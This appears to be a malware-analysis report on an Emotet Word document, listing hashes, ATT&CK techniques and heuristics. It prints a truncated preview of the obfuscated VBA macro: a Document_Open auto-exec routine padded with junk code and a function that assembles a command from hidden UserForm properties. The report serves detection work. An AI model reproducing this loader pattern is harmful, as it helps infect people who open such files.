Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 48306dff6e356399…

MALICIOUS

Office (OLE)

178.1 KB Created: 2019-12-13 10:02:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: cf8d38d3c72540d1022eb20af93582eb SHA-1: 835bbb51380499f6f94701f53f2b3b1a4b89749a SHA-256: 48306dff6e356399f6d7b628d38ccb4eda80e096392a02039aff3716c713bd0a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet activity. The ClamAV detection explicitly names 'Doc.Downloader.Emotet-7451584-0', confirming the family. The VBA code likely downloads and executes a second-stage payload, a common tactic for Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7451584-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7451584-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8207 bytes
SHA-256: 8db47c27fa11d0cc35fb84ec6b3886e4dd0d4ec76d0d2999e223afed02ecf6b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dwzlvxja"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Qfgbrroyr, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Oyntsjtnffdof
      Case 405
         Kxktyoapul = Cos(342)
         Jiwkcrhr = Atn(346)
         Kfscbzchle = Cos(799)
      Case 846
         Aovcxhnjsisgk = Atn(628)
         Ubxxpbymea = 970
         Bmnzutliipz = CDate(556)
      Case 851
         Datbnmsvpifoh = CInt(116)
         Bbqcaumwejxny = Log(Fbdylbfk)
         Erlehlnyogg = Sfrdosqytyoce
End Select
   Select Case Msmuxzcksb
      Case 940
         Emalifbdti = Cos(224)
         Jqupysal = Atn(712)
         Bxqscwrujj = Cos(966)
      Case 381
         Zpopoaqxpdtl = Atn(478)
         Enlzbffsk = 224
         Qcemyypqprfa = CDate(716)
      Case 667
         Zujwxdfhv = CInt(281)
         Jkhgogem = Log(Ymlqfevvpzmcv)
         Vvmypihmip = Jakbopfbi
End Select
   Select Case Vkdlmlvudiljf
      Case 954
         Ufwrzoau = Cos(425)
         Qrqofperz = Atn(530)
         Cdkrdvot = Cos(157)
      Case 925
         Sfagubwzhu = Atn(892)
         Gwtfgytgsfab = 980
         Mzvtlbkv = CDate(438)
      Case 537
         Pilnirshmi = CInt(676)
         Yypqzsqnfyo = Log(Xdoipjlzgpx)
         Yantpjfya = Vbrekgrus
End Select
Ohmgszuvj
End Sub

Attribute VB_Name = "Iyvptogkl"
Attribute VB_Base = "0{DC037259-45FE-40BB-9128-5D19FDB2A64D}{719608CF-9468-4032-B131-979E66B8C9C0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Npycbmrulix"
Function Xfobaoturwwhi()
   Select Case Comrezjvp
      Case 269
         Cpvndbpyoenn = Cos(31)
         Tauoizchjs = Atn(664)
         Unxmkeimdbsb = Cos(128)
      Case 830
         Pqvdobsgkzpgg = Atn(688)
         Vgdjkgbacui = 879
         Isistmjll = CDate(801)
      Case 619
         Baodxxdx = CInt(389)
         Huprkpoptjfwm = Log(Qwmubekazhks)
         Fqkhkaxs = Wuwrwyfnql
End Select
Rockyypzzgq = Dwzlvxja.Qfgbrroyr
   Select Case Nylcxialnjeeb
      Case 435
         Jqocaynatgmk = Cos(948)
         Rvtmgdlikeas = Atn(43)
         Vpubgwphx = Cos(721)
      Case 216
         Yzysvlyms = Atn(561)
         Lrvphbfjbhr = 727
         Dmkeqdkyl = CDate(234)
      Case 771
         Emqptcgom = CInt(146)
         Cgrpobogb = Log(Soiatvpkpznn)
         Kpqzadtxyken = Ijfdaktbgsi
End Select
Yojzrgfs = Rockyypzzgq + Iyvptogkl.Ldptierhcns + Iyvptogkl.Wggnqpxffbil + Iyvptogkl.Vxmqcmcsphn
   Select Case Fbopulhsxchn
      Case 94
         Cgiutqwqoq = Cos(967)
         Xcnsnzql = Atn(338)
         Wzjiopsnvkxql = Cos(683)
      Case 65
         Zyqvonysuoffe = Atn(803)
         Wsgfjiklc = 459
         Auncgqwuobapq = CDate(805)
      Case 628
         Hptiknzonekgh = CInt(774)
         Noppmeerhpj = Log(Fwcpumau)
         Vlbfzywjodzo = Bxtdyltb
End Select
Mbalwkcji = Yojzrgfs + Iyvptogkl.Hzgpxlay + Iyvptogkl.Uufxbkmbxwiz.ControlTipText
   Select Case Rtidtibdta
      Case 746
         Ghbetleodeu = Cos(870)
         Jlhfvwzpyi = Atn(912)
         Ubmpheyjpf = Cos(859)
      Case 430
         Zmpsgfnzct = Atn(120)
         Uxxejahyaryjr = 447
         Zvvudfugjggi = CDate(966)
      Case 655
         Ajbrpukhuaoy = CInt(498)
         Hnfahjoegy = Log(Arnxcsneaiw)
         Dlsbvgfy = Wafbjgwcdkyut
End Select
Xfobaoturwwhi = Mvkgutgtjhxra + Mbalwkcji + Mvkgutgtjhxra
   Select Case Emqpggjlcdnve
      Case 282
         Hejprjln = Cos(612)
         Grgwlqztqcuhh = Atn(137)
         Zerpapjcw = Cos(265)
      Case 634
         Ghnntzzt = Atn(1)
         Cormncnbhzx = 732
         Rfuxqgwpjg = CDate(683)
      Case 402
         Sfcjviolqw = CInt(3
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.